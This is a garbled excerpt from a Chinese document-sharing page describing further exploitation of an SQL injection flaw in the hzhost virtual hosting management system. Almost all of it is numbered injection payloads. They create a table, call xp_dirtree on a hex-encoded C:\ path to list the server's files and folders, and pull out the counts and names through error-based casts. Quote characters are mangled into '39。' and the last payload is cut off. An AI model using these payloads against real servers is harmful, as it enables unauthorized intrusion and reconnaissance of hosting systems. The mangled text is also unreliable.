hzhost域名虛擬主機管理系統(tǒng)sql注射漏洞進一步利用(編輯修改稿)
2025-05-04 05:53 本頁面
【文章內容簡介】 o([id] [int] identity (1,1) not null,[name] [nvarchar] (300) not null,[depth] [int] not null,[isfile] [nvarchar] (50) null)。 and 39。139。=39。1第二步：12339。 。declare @z nvarchar(4000) set @z=0x63003a005c00 insert foofoofoo execute master..xp_dirtree @z,1,1 and 39。139。=39。1注意：0x63003a005c00 = C:\ 為sql ENCODE其他的自己找工具去轉吧！第三步：暴出總數(shù) 12339。 and (select cast(count(*) as varchar(8000))+char(94) from foofoofoo)0 and 39。139。=39。1第四步：暴出你想要的文件夾名字和文件名字 12339。 and 0(select top 1 cast([isfile] as nvarchar(4000))+char(94)+cast([name] as nvarchar(4000)) from (select distinct top
公司管理相關推薦
鄂ICP備17016276號-1